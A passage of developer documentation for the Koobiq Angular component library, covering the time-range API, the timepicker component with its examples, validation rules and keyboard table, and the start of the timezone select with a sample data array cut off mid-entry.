    onVisibleChange(isVisible: boolean): void;
}
```

- `[minDate]`: `T` — The earliest date the calendars offer and the validation accepts.
- `[maxDate]`: `T` — The latest date the calendars offer and the validation accepts.
- `[defaultRangeValue]`: `KbqRangeValue<T>` — Seeds the from/to pair of the manual range.
- `[availableTimeRangeTypes]`: `KbqTimeRangeType[]` — The options the editor offers, in order. The first one is selected by default.
- `[titleTemplate]`: `TemplateRef<KbqTimeRangeCustomizableTitleContext>` — Replaces the built-in trigger.
- `[optionTemplate]`: `TemplateRef<KbqTimeRangeOptionContext>` — Replaces the built-in rendering of an option in the editor.
- `[arrow]`: `boolean` — Whether the popover is drawn with an arrow.
- `[showRangeAsDefault]`: `boolean` — Keeps the manual range visible even when `range` is not in `availableTimeRangeTypes`.
- `[nonNullable]`: `boolean` — Falls back to a default value instead of holding `null`.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `(valueCorrected)`: `KbqTimeRangeRange` — Emits the corrected value when the provided one could not be used as is.
- `value`: `Signal<KbqTimeRangeRange | null>` — The applied time range, or `null` when the component is nullable and holds no value.

  This is what the trigger renders, so it lags the editor until Apply.
- `disabled`: `Signal<boolean>` — Whether the control is disabled through the forms layer.

##### KbqTimeRangeTitleAsControl (component)

Component simulates `KbqFormFieldControl` allowing to provide custom content inside `KbqFormField`

```ts
@Component({ selector: 'kbq-time-range-title-as-control' })
class KbqTimeRangeTitleAsControl implements KbqFormFieldControl<KbqTimeRangeRange> {}
```

#### Directives

##### KbqTimeRangeTitlePlaceholder (directive)

Directive for easy using styles of time-range placeholder publicly.

```ts
@Directive({ selector: '[kbqTimeRangeTitlePlaceholder]' })
class KbqTimeRangeTitlePlaceholder {}
```

#### Types

##### KbqCustomTimeRangeType (type)

```ts
type KbqCustomTimeRangeType = {
    type: KbqTimeRangeType | string;
    units: KbqTimeRangeUnits;
    translationType: KbqTimeRangeTranslationType;
    range?: KbqRange;
};
```

- `type`: `KbqTimeRangeType | string` — time range identifier. Used as config key
- `units`: `KbqTimeRangeUnits` — Duration metadata
- `translationType`: `KbqTimeRangeTranslationType` — Property representing duration output unit
- `range?`: `KbqRange` — Custom range of start/end date-times

##### KbqRange (type)

Represents a time range with optional start and end date-time values.
Used as a range value by default.

```ts
type KbqRange = {
    startDateTime?: string;
    endDateTime?: string;
};
```

##### KbqRangeValue (interface)

Represents a time range with optional start and end date-time values.
Used as a form value when range in popover change.

```ts
interface KbqRangeValue<T> {
    fromTime?: T;
    fromDate?: T;
    toTime?: T;
    toDate?: T;
}
```

##### KbqTimeRangeCustomizableTitleContext (type)

Context for a time range trigger customization, combining meta information.

```ts
type KbqTimeRangeCustomizableTitleContext = Partial<KbqTimeRangeTitleContext> & {
    $implicit: Partial<KbqTimeRangeTitleContext> & { formattedDate: string; popover: KbqPopoverTrigger };
} & { formattedDate: string; popover: KbqPopoverTrigger };
```

##### KbqTimeRangeOptionContext (type)

Context for a time range option customization, combining meta information.

```ts
type KbqTimeRangeOptionContext = KbqTimeRangeTypeContext & KbqTimeRangeUnits & {
    translationType: KbqTimeRangeTranslationType;
    formattedValue: string;
};
```

##### KbqTimeRangeRange (type)

Main range information.
Used for a popover date range selection, when selected type is range,
and for trigger information calculation.

```ts
type KbqTimeRangeRange = KbqRange & KbqTimeRangeTypeContext;
```

##### KbqTimeRangeTitleContext (type)

Context for a time range trigger, combining range info and type.

```ts
type KbqTimeRangeTitleContext = KbqTimeRangeRange & KbqTimeRangeUnits;
```

##### KbqTimeRangeTranslationType (type)

Property representing duration output unit

```ts
type KbqTimeRangeTranslationType = Exclude<DurationUnit, 'quarters' | 'milliseconds'> | 'other';
```

##### KbqTimeRangeType (type)

Default accepted “time‑range” identifiers.

```ts
type KbqTimeRangeType = | 'lastMinute'
    | 'last5Minutes'
    | 'last15Minutes'
    | 'last30Minutes'
    | 'lastHour'
    | 'last24Hours'
    | 'last3Days'
    | 'last7Days'
    | 'last14Days'
    | 'last30Days'
    | 'last3Months'
    | 'last12Months'
    | 'allTime'
    | 'currentQuarter'
    | 'currentYear'
    | 'range';
```

##### KbqTimeRangeTypeContext (type)

Range type selected

```ts
type KbqTimeRangeTypeContext = {
    type: KbqTimeRangeType;
};
```

##### KbqTimeRangeUnits (interface)

Configuration for a custom time range with duration metadata.
Defines a time range with its identifier, duration units, and optional fixed date range.

```ts
interface KbqTimeRangeUnits extends DurationObjectUnits {
    years?: number;
    quarters?: number;
    months?: number;
    weeks?: number;
    days?: number;
    hours?: number;
    minutes?: number;
    seconds?: number;
    milliseconds?: number;
}
```

#### Constants

##### defaultTimeRangeTypes (const)

Time range types in range editor if nothing provided

```ts
const defaultTimeRangeTypes: KbqTimeRangeType[];
```

##### KBQ_CUSTOM_TIME_RANGE_TYPES (const)

Preset of custom time ranges, provided by DI.

```ts
const KBQ_CUSTOM_TIME_RANGE_TYPES: InjectionToken<KbqCustomTimeRangeType[]>;
```

##### KBQ_DEFAULT_TIME_RANGE_TYPES (const)

Preset of selectable time ranges, provided by DI.

```ts
const KBQ_DEFAULT_TIME_RANGE_TYPES: InjectionToken<KbqTimeRangeType[]>;
```

##### KBQ_TIME_RANGE_LOCALE_CONFIGURATION (const)

Localization configuration provider.

```ts
const KBQ_TIME_RANGE_LOCALE_CONFIGURATION: InjectionToken<KbqTimeRangeLocaleConfiguration>;
```

##### kbqTimeRangeLocaleConfigurationProvider (const)

Utility provider for `KBQ_TIME_RANGE_LOCALE_CONFIGURATION`. Only the strings you pass are overridden;
the rest keep following the active locale.

```ts
const kbqTimeRangeLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqTimeRangeLocaleConfiguration>
) => Provider;
```

##### rangeValidator (const)

Validates that the 'from' date-time is not greater than the 'to' date-time in a range form.
Returns an error if the start date-time occurs after the end date-time.

```ts
const rangeValidator: <T>(
    timeRangeService: KbqTimeRangeService<T>
) => ValidatorFn;
```

### Examples

This example shows how to customize the display of a selection item in a dialog

**Example: Time range custom option** (`time-range-custom-option`)

```ts time-range-custom-option-example.ts
import { TitleCasePipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, computed, inject, InjectionToken } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { ReactiveFormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_DATE_LOCALE, KBQ_LOCALE_SERVICE } from '@koobiq/components/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import {
    KBQ_CUSTOM_TIME_RANGE_TYPES,
    KBQ_DEFAULT_TIME_RANGE_TYPES,
    KbqCustomTimeRangeType,
    KbqTimeRangeModule
} from '@koobiq/components/time-range';
import { of } from 'rxjs';

const ExampleLocalizedData = new InjectionToken<Record<string | 'default', string>>('ExampleLocalizedData', {
    factory: () => ({
        'ru-RU': 'Период',
        default: 'Period'
    })
});

export function customTypesFactory<D>(adapter: DateAdapter<D>): KbqCustomTimeRangeType[] {
    const currentYear = adapter.startOf(adapter.today(), 'year');

    return [
        {
            type: 'q1',
            units: {},
            translationType: 'other',
            range: {
                startDateTime: adapter.toIso8601(currentYear),
                endDateTime: adapter.toIso8601(adapter.addCalendarUnits(currentYear, { quarters: 1 }))
            }
        },
        {
            type: 'q2',
            units: {},
            translationType: 'other',
            range: {
                startDateTime: adapter.toIso8601(adapter.addCalendarUnits(currentYear, { quarters: 1 })),
                endDateTime: adapter.toIso8601(adapter.addCalendarUnits(currentYear, { quarters: 2 }))
            }
        },
        {
            type: 'q3',
            units: {},
            translationType: 'other',
            range: {
                startDateTime: adapter.toIso8601(adapter.addCalendarUnits(currentYear, { quarters: 2 })),
                endDateTime: adapter.toIso8601(adapter.addCalendarUnits(currentYear, { quarters: 3 }))
            }
        },
        {
            type: 'q4',
            units: {},
            translationType: 'other',
            range: {
                startDateTime: adapter.toIso8601(adapter.addCalendarUnits(currentYear, { quarters: 3 })),
                endDateTime: adapter.toIso8601(adapter.addCalendarUnits(currentYear, { quarters: 4 }))
            }
        }
    ];
}

@Component({
    selector: 'time-range-custom-option-example',
    imports: [
        TitleCasePipe,
        ReactiveFormsModule,
        KbqTimeRangeModule,
        LuxonDateModule,
        KbqIconModule,
        KbqFormFieldModule
    ],
    template: `
        <ng-template #customOption let-context>
            {{ context.type | titlecase }}
        </ng-template>

        <ng-template #titleAsFormField let-context>
            <kbq-form-field>
                <kbq-time-range-title-as-control>
                    @if (!context.type) {
                        <span kbqTimeRangeTitlePlaceholder>{{ placeholder() }}</span>
                    } @else {
                        {{ context.type | titlecase }}
                    }
                </kbq-time-range-title-as-control>
                <i kbq-icon="kbq-chevron-down-s_16" kbqSuffix [color]="'contrast-fade'"></i>
            </kbq-form-field>
        </ng-template>

        <kbq-time-range
            [titleTemplate]="titleAsFormField"
            [arrow]="false"
            [nonNullable]="false"
            [optionTemplate]="customOption"
        />
    `,
    providers: [
        { provide: DateFormatter, deps: [DateAdapter, KBQ_DATE_LOCALE] },
        { provide: KBQ_CUSTOM_TIME_RANGE_TYPES, deps: [DateAdapter], useFactory: customTypesFactory },
        {
            provide: KBQ_DEFAULT_TIME_RANGE_TYPES,
            deps: [KBQ_CUSTOM_TIME_RANGE_TYPES],
            useFactory: (customTypes: KbqCustomTimeRangeType[]) => customTypes.map(({ type }) => type)
        }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-row layout-align-center-center layout-gap-3xl'
    }
})
export class TimeRangeCustomOptionExample {
    private readonly data = inject(ExampleLocalizedData);
    private readonly localeId = toSignal(inject(KBQ_LOCALE_SERVICE, { optional: true })?.changes || of(''));

    protected readonly placeholder = computed(() => this.data[this.localeId() || 'default'] ?? this.data.default);
}
```

## Timepicker

- Entry point: `@koobiq/components/timepicker`
- NgModule: `KbqTimepickerModule`
- Page: https://koobiq.io/en/components/timepicker/overview

### Overview

A time field (timepicker) is a special input field that allows entering only time.

#### When to use

Use when you need to specify time.

**Example: Timepicker validation symbols** (`timepicker-overview`)

```ts timepicker-overview-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTimepickerModule, TimeFormats } from '@koobiq/components/timepicker';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { DateTime } from 'luxon';

@Component({
    selector: 'timepicker-overview-example',
    imports: [KbqToolTipModule, KbqIconModule, FormsModule, KbqTimepickerModule, LuxonDateModule],
    template: `
        <div class="docs-row">
            <kbq-form-field #tooltip="kbqTooltip" kbqTooltipModifier="warning" [kbqTooltip]="'Только цифры'">
                <i kbq-icon="kbq-clock_16" kbqPrefix></i>
                <input kbqTimepicker [format]="timeFormats.HHmm" [kbqValidationTooltip]="tooltip" [(ngModel)]="time" />
            </kbq-form-field>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TimepickerOverviewExample {
    private adapter = inject<DateAdapter<DateTime>>(DateAdapter);

    timeFormats = TimeFormats;

    time: DateTime;

    constructor() {
        this.time = this.adapter.today().startOf('hour');
    }
}
```

#### Component structure

Consists of an input field, mask, and icon (optional).

##### Variations

The input mask comes in two variations, with different time formats:

**Example: Timepicker variations** (`timepicker-variations`)

```ts timepicker-variations-example.ts
import { LowerCasePipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqRadioModule } from '@koobiq/components/radio';
import { KbqTimepickerModule, TimeFormats } from '@koobiq/components/timepicker';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { DateTime } from 'luxon';

@Component({
    selector: 'timepicker-variations-example',
    imports: [
        KbqRadioModule,
        FormsModule,
        KbqToolTipModule,
        KbqTimepickerModule,
        KbqIconModule,
        LuxonDateModule,
        LowerCasePipe
    ],
    templateUrl: 'timepicker-variations-example.html',
    styleUrls: ['timepicker-variations-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TimepickerVariationsExample {
    private adapter = inject<DateAdapter<DateTime>>(DateAdapter);

    value: DateTime;

    timeFormat = TimeFormats.HHmm;
    protected readonly TimeFormats = TimeFormats;

    constructor() {
        this.value = this.adapter.today();
    }
}
```

```html timepicker-variations-example.html
<div class="example-timepicker-group">
    <kbq-radio-group [(ngModel)]="timeFormat">
        <kbq-radio-button class="example-radio-button" [value]="TimeFormats.HHmm">
            {{ TimeFormats.HHmm | lowercase }}
        </kbq-radio-button>
        <kbq-radio-button class="example-radio-button" [value]="TimeFormats.HHmmss">
            {{ TimeFormats.HHmmss | lowercase }}
        </kbq-radio-button>
    </kbq-radio-group>

    <kbq-form-field
        #tooltip="kbqTooltip"
        class="example-timepicker-element"
        kbqTooltipModifier="warning"
        [kbqTooltip]="'Только цифры'"
    >
        <i kbq-icon="kbq-clock_16" kbqPrefix></i>
        <input kbqTimepicker [format]="timeFormat" [kbqValidationTooltip]="tooltip" [(ngModel)]="value" />
    </kbq-form-field>
</div>
```

```css timepicker-variations-example.css
.kbq-radio-group {
    display: flex;
    flex-direction: column;
}

.kbq-radio-button {
    margin-bottom: 8px;
}
```

#### How it works

Time can be entered in two ways: using number keys and using arrow keys on the keyboard. Time input is only allowed in 24-hour format.

When entering values, depending on where the focus is (hours, minutes, or seconds), the field validates acceptable values at that position: hours 0–23, minutes and seconds 0–59.

After entering two digits (hours or minutes), a colon is inserted, and the cursor jumps to the next part of the mask (to minutes or seconds). After entering two digits for seconds, the cursor does not change position, and no colon is inserted.

##### Input using arrows

The ↑ ↓ keys increase or decrease the selected time unit by 1. Increase (decrease) affects only the selected unit (for example, in hours, 23 is followed by 0, and vice versa).

For more details on input, see the section [Focus and keyboard interaction](#focus-and-keyboard-interaction).

##### Default state

In most cases, the field is empty, showing only the input mask. In other cases, when specifying time is not important for the user but important for the system, it will be useful to pre-fill the field with the current time (current time is understood as the time when the page was opened; it does not change dynamically).

#### Validation

##### Validation during input

###### Entering letters and symbols

[Validation during input](https://koobiq.io/en/other/validation.md#while-typing) is triggered:

- when entering letters in any part of the mask;
- when entering the first character, except digits.

**Example: Timepicker validation symbols** (`timepicker-overview`)

```ts timepicker-overview-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTimepickerModule, TimeFormats } from '@koobiq/components/timepicker';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { DateTime } from 'luxon';

@Component({
    selector: 'timepicker-overview-example',
    imports: [KbqToolTipModule, KbqIconModule, FormsModule, KbqTimepickerModule, LuxonDateModule],
    template: `
        <div class="docs-row">
            <kbq-form-field #tooltip="kbqTooltip" kbqTooltipModifier="warning" [kbqTooltip]="'Только цифры'">
                <i kbq-icon="kbq-clock_16" kbqPrefix></i>
                <input kbqTimepicker [format]="timeFormats.HHmm" [kbqValidationTooltip]="tooltip" [(ngModel)]="time" />
            </kbq-form-field>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TimepickerOverviewExample {
    private adapter = inject<DateAdapter<DateTime>>(DateAdapter);

    timeFormats = TimeFormats;

    time: DateTime;

    constructor() {
        this.time = this.adapter.today().startOf('hour');
    }
}
```

###### Entering symbols and digits

If after entering two digits (in hours or minutes) any character other than digits and letters is entered, the field ignores this input.

If after entering one digit (in hours or minutes) any character other than digits and letters is entered, the field treats this character as a separator and converts it to a colon, and a zero is inserted before the entered digit.

If you enter values greater than 23 for hours and greater than 59 for minutes and seconds, they are converted to 23 for hours and 59 for minutes and seconds.

**Example: Timepicker validation symbols** (`timepicker-overview`)

```ts timepicker-overview-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTimepickerModule, TimeFormats } from '@koobiq/components/timepicker';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { DateTime } from 'luxon';

@Component({
    selector: 'timepicker-overview-example',
    imports: [KbqToolTipModule, KbqIconModule, FormsModule, KbqTimepickerModule, LuxonDateModule],
    template: `
        <div class="docs-row">
            <kbq-form-field #tooltip="kbqTooltip" kbqTooltipModifier="warning" [kbqTooltip]="'Только цифры'">
                <i kbq-icon="kbq-clock_16" kbqPrefix></i>
                <input kbqTimepicker [format]="timeFormats.HHmm" [kbqValidationTooltip]="tooltip" [(ngModel)]="time" />
            </kbq-form-field>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TimepickerOverviewExample {
    private adapter = inject<DateAdapter<DateTime>>(DateAdapter);

    timeFormats = TimeFormats;

    time: DateTime;

    constructor() {
        this.time = this.adapter.today().startOf('hour');
    }
}
```

##### Validation of copied values

When copying values from the clipboard or pasting them using drag-and-drop, validation during input is triggered. If the copied value contained characters other than digits and letters, the rules from the "Entering symbols and digits" section above are applied to them.

**Example: Timepicker validation symbols** (`timepicker-overview`)

```ts timepicker-overview-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTimepickerModule, TimeFormats } from '@koobiq/components/timepicker';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { DateTime } from 'luxon';

@Component({
    selector: 'timepicker-overview-example',
    imports: [KbqToolTipModule, KbqIconModule, FormsModule, KbqTimepickerModule, LuxonDateModule],
    template: `
        <div class="docs-row">
            <kbq-form-field #tooltip="kbqTooltip" kbqTooltipModifier="warning" [kbqTooltip]="'Только цифры'">
                <i kbq-icon="kbq-clock_16" kbqPrefix></i>
                <input kbqTimepicker [format]="timeFormats.HHmm" [kbqValidationTooltip]="tooltip" [(ngModel)]="time" />
            </kbq-form-field>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TimepickerOverviewExample {
    private adapter = inject<DateAdapter<DateTime>>(DateAdapter);

    timeFormats = TimeFormats;

    time: DateTime;

    constructor() {
        this.time = this.adapter.today().startOf('hour');
    }
}
```

##### Validation using ReactiveFormsModule

**Example: Timepicker field validation** (`timepicker-field-validation`)

```ts timepicker-field-validation-example.ts
import { afterNextRender, ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormControl, ReactiveFormsModule, Validators } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTimepickerModule, TimeFormats } from '@koobiq/components/timepicker';
import { DateTime } from 'luxon';

/** @title Timepicker field validation */
@Component({
    selector: 'timepicker-field-validation-example',
    imports: [KbqTimepickerModule, ReactiveFormsModule, KbqIconModule, LuxonDateModule],
    template: `
        <kbq-form-field>
            <i kbq-icon="kbq-clock_16" kbqPrefix></i>
            <input kbqTimepicker [max]="max" [min]="min" [formControl]="control" [format]="timeFormats.HHmm" />
            @if (control.hasError('required')) {
                <kbq-error>Required</kbq-error>
            }
            <!-- Component built-in validation -->
            @if (control.hasError('kbqTimepickerLowerThenMin')) {
                <kbq-error>Min is {{ min.toFormat(timeFormats.HHmm) }}</kbq-error>
            }
            <!-- Component built-in validation -->
            @if (control.hasError('kbqTimepickerHigherThenMax')) {
                <kbq-error>Maximum is {{ max.toFormat(timeFormats.HHmm) }}</kbq-error>
            }
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TimepickerFieldValidationExample {
    private readonly adapter = inject(DateAdapter<DateTime>);
    protected readonly timeFormats = TimeFormats;

    protected readonly max = this.adapter.today().startOf('hour').plus({ hours: 1 });
    protected readonly min = this.adapter.today().startOf('hour').minus({ hours: 1 });

    protected readonly control = new FormControl<DateTime | null>(null, [Validators.required]);

    constructor() {
        afterNextRender(() => {
            this.control.markAsTouched();
            this.control.updateValueAndValidity();
        });
    }
}
```

#### Focus and keyboard interaction

| Key               | Action                                                                                                                                                                             |
| ----------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Tab \ Shift + Tab | Move focus to (from) the time field                                                                                                                                                |
| ↓ ↑               | Cursor is set on any time unit (hours, minutes, or seconds) → decrease or increase the value by 1                                                                                  |
| →                 | Move the cursor to the next character. If the cursor is set after the last time unit (minutes or seconds, depending on variation), place the cursor before the first hour digit    |
| ←                 | Move the cursor to the previous character. If the cursor is set before the first hour digit, move the cursor after the last time unit (minutes or seconds, depending on variation) |
| PgUp \ Home       | Place the cursor before the first hour digit                                                                                                                                       |
| PgDn \ End        | Move the cursor after the last time unit (minutes or seconds, depending on variation)                                                                                              |
| Space             | — If in any part of the mask → nothing happens                                                                                                                                     |
|                   | — If after entering two digits (hours or minutes) → move to the next part of the mask (minutes or seconds);                                                                        |
|                   | — If after entering one digit (in hours or minutes) → the field treats this key as a separator, a colon is inserted, and a zero is inserted before the entered digit               |

#### Design and animation

The time field has a fixed width: it does not change even if the entered value is shorter than the mask.

#### Additional

##### Using Datepicker and Timepicker together

This is an example of using Datepicker and Timepicker together to select a specific date and time. This approach is useful when you need to set an exact time for an event or deadline.

The user can select a date through Datepicker and then specify the exact time through Timepicker.

An implementation example is available in the [Datepicker](https://koobiq.io/en/components/datepicker.md#using-datepicker-and-timepicker-together) section

### API

#### Directives

##### KbqTimepicker (directive)

```ts
@Directive({ selector: 'input[kbqTimepicker]', exportAs: 'kbqTimepicker' })
class KbqTimepicker<D> implements KbqFormFieldControl<D>, ControlValueAccessor, Validator {
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly disabled = input<boolean>(false);
    readonly id = input<string | undefined>();
    readonly format = input<TimeFormats>(DEFAULT_TIME_FORMAT);
    readonly min = input<D | null>(null);
    readonly max = input<D | null>(null);
    readonly value = input<D | null | undefined>();
    readonly kbqValidationTooltip = input<KbqTooltipTrigger | undefined>();
    readonly incorrectInput = output<void>();
    get hasSelection(): boolean;
    get isFullFormat(): boolean;
    get isShortFormat(): boolean;
    get viewValue(): string;
    get ngControl(): any;
    selectionStart: number | null;
    selectionEnd: number | null;
    get timeFormatPlaceholder(): string;
    onInput: () => void;
    getSize(): number;
    focus(): void;
    focusChanged(isFocused: boolean): void;
    onBlur(): void;
    onPaste($event: any): void;
    onKeyDown(event: KeyboardEvent): void;
    validate(control: AbstractControl): ValidationErrors | null;
    registerOnValidatorChange(fn: () => void): void;
}
```

- `[errorStateMatcher]`: `ErrorStateMatcher` — Object used to control when error messages are shown.
- `[disabled]`: `boolean` — Whether the timepicker is disabled. Also set by the bound form control.
- `[id]`: `string | undefined` — Unique id of the element, generated when not provided.
- `[format]`: `TimeFormats` — Time format the input parses and renders. An unsupported value falls back to the default.
- `[min]`: `D | null` — Earliest time the control accepts. Anything the date adapter cannot read is treated as unset.
- `[max]`: `D | null` — Latest time the control accepts. Anything the date adapter cannot read is treated as unset.
- `[value]`: `D | null | undefined` — The time the control holds: set with `[value]`, by the form control and by typing.
- `[kbqValidationTooltip]`: `KbqTooltipTrigger | undefined` — Tooltip shown for a moment whenever a keystroke is rejected.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `timeFormatPlaceholder`: `string` — Localized placeholder

#### Enums

##### TimeFormats (enum)

```ts
enum TimeFormats {
    HHmmss = 'HH:mm:ss',
    HHmm = 'HH:mm'
}
```

##### TimeParts (enum)

```ts
enum TimeParts {
    hours,
    minutes,
    seconds
}
```

#### Constants

##### AM_PM_FORMAT_REGEXP (const)

```ts
const AM_PM_FORMAT_REGEXP: RegExp;
```

##### DEFAULT_TIME_FORMAT (const)

```ts
const DEFAULT_TIME_FORMAT: TimeFormats;
```

##### HOURS_MINUTES_REGEXP (const)

```ts
const HOURS_MINUTES_REGEXP: RegExp;
```

##### HOURS_MINUTES_SECONDS_REGEXP (const)

```ts
const HOURS_MINUTES_SECONDS_REGEXP: RegExp;
```

##### HOURS_ONLY_REGEXP (const)

```ts
const HOURS_ONLY_REGEXP: RegExp;
```

##### HOURS_PER_DAY (const)

```ts
const HOURS_PER_DAY: number;
```

##### kbqTimepickerLocaleConfigurationProvider (const)

Utility provider for `KBQ_TIMEPICKER_LOCALE_CONFIGURATION`. Only the strings you pass are overridden; the rest
keep following the active locale.

```ts
const kbqTimepickerLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqTimepickerLocaleConfiguration>
) => Provider;
```

##### MINUTES_PER_HOUR (const)

```ts
const MINUTES_PER_HOUR: number;
```

##### SECONDS_PER_MINUTE (const)

```ts
const SECONDS_PER_MINUTE: number;
```

##### TIMEFORMAT_PLACEHOLDERS (const)

```ts
const TIMEFORMAT_PLACEHOLDERS: { [timeFormat: string]: string };
```

##### TimeFormatToLocaleKeys (const)

Object that maps each time format to a related locale key

```ts
const TimeFormatToLocaleKeys: Record<TimeFormats, 'full' | 'short'>;
```

## Timezone

- Entry point: `@koobiq/components/timezone`
- NgModule: `KbqTimezoneModule`
- Page: https://koobiq.io/en/components/timezone/overview

### Overview

`kbq-timezone-select` is a timezone selection component that extends `kbq-select`. It has the same capabilities, except for multiple selection — `[multiple]="true"` and `multiline` are rejected with an error rather than half-rendered. It can work with both `kbq-timezone-option` and `kbq-option`.

`kbq-timezone-option` is a timezone list item that extends `kbq-option`. It has the same capabilities but its own display template. Import it together with `KbqTimezoneOptionTooltip` (both come with `KbqTimezoneModule`): the directive is what shows the full city list when the option clamps it.

**Example: Timezone** (`timezone-overview`)

```ts timezone-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    getZonesGroupedByCountry,
    kbqResolveHostCountry,
    KbqTimezoneGroup,
    KbqTimezoneModule,
    KbqTimezoneZone,
    promoteCountry
} from '@koobiq/components/timezone';
import { timezones } from '../timezone-data';

@Component({
    selector: 'timezone-overview-example',
    imports: [KbqTimezoneModule],
    template: `
        <kbq-form-field>
            <kbq-timezone-select [(value)]="selected">
                @for (group of data; track group) {
                    <kbq-optgroup [label]="group.countryName">
                        @for (timezone of group.zones; track timezone) {
                            <kbq-timezone-option [timezone]="timezone" />
                        }
                    </kbq-optgroup>
                }
            </kbq-timezone-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TimezoneOverviewExample {
    selected = Intl.DateTimeFormat().resolvedOptions().timeZone;

    data: KbqTimezoneGroup[];

    constructor() {
        const zones: KbqTimezoneZone[] = timezones.map(({ associatedZones, ...zone }) => ({
            ...zone,
            cities: Array.isArray(associatedZones)
                ? associatedZones
                      .map(({ city }) => city)
                      .sort()
                      .join(', ')
                : ''
        }));

        // The grouping is pure, so the host's own country is resolved separately and passed in.
        this.data = promoteCountry(getZonesGroupedByCountry(zones), kbqResolveHostCountry(zones));
    }
}
```

```ts ../timezone-data.ts
// prettier-ignore
export const timezones=[{offset:"02:00:00",associatedZones:[],id:"Europe/Kaliningrad",city:"Kaliningrad",countryCode:"RU",countryName:"Russia"},{offset:"03:00:00",associatedZones:[{id:"Europe/Kirov",city:"Kirov",countryCode:"RU",countryName:"Russia"},{id:"Europe/Volgograd",city:"Volgograd",countryCode:"RU",countryName:"Russia"},{id:"Europe/Simferopol",city:"Simferopol",countryCode:"RU",countryName:"Russia"},{id:"Europe/Minsk",city:"Minsk",countryCode:"BY",countryName:"Belarus"},{id:"Europe/Kaliningrad",city:"Kaliningrad",countryCode:"RU",countryName:"Russia"},{id:"Europe/Moscow",city:"Saint Petersburg",countryCode:"RU",countryName:"Russia"},{id:"Europe/Moscow",city:"Nizhny Novgorod",countryCode:"RU",countryName:"Russia"},{id:"Europe/Moscow",city:"Kazan",countryCode:"RU",countryName:"Russia"},{id:"Europe/Moscow",city:"Rostov-on-Don",countryCode:"RU",countryName:"Russia"}],id:"Europe/Moscow",city:"Moscow",countryCode:"RU",countryName:"Russia"},{offset:"04:00:00",associatedZones:[{id:"Europe/Ulyanovsk",city:"Ulyanovsk",countryCode:"RU",countryName:"Russia"}],id:"Europe/Astrakhan",city:"Astrakhan",countryCode:"RU",countryName:"Russia"},{offset:"04:00:00",associatedZones:[],id:"Europe/Samara",city:"Samara",countryCode:"RU",countryName:"Russia"},{offset:"04:00:00",associatedZones:[],id:"Europe/Saratov",city:"Saratov",countryCode:"RU",countryName:"Russia"},{offset:"05:00:00",associatedZones:[],id:"Asia/Yekaterinburg",city:"Yekaterinburg",countryCode:"RU",countryName:"Russia"},{offset:"06:00:00",associatedZones:[],id:"Asia/Omsk",city:"Omsk",countryCode:"RU",countryName:"Russia"},{offset:"07:00:00",associatedZones:[],id:"Asia/Barnaul",city:"Barnaul",countryCode:"RU",countryName:"Russia"},{offset:"07:00:00",associatedZones:[{id:"Asia/Novokuznetsk",city:"Novokuznetsk",countryCode:"RU",countryName:"Russia"}],id:"Asia/Krasnoyarsk",city:"Krasnoyarsk",countryCode:"RU",countryName:"Russia"},{offset:"07:00:00",associatedZones:[],id:"Asia/Novosibirsk",city:"Novosibirsk",countryCode:"RU",countryName:"Russia"},{offset:"07:00:00",associatedZones:[],id:"Asia/Tomsk"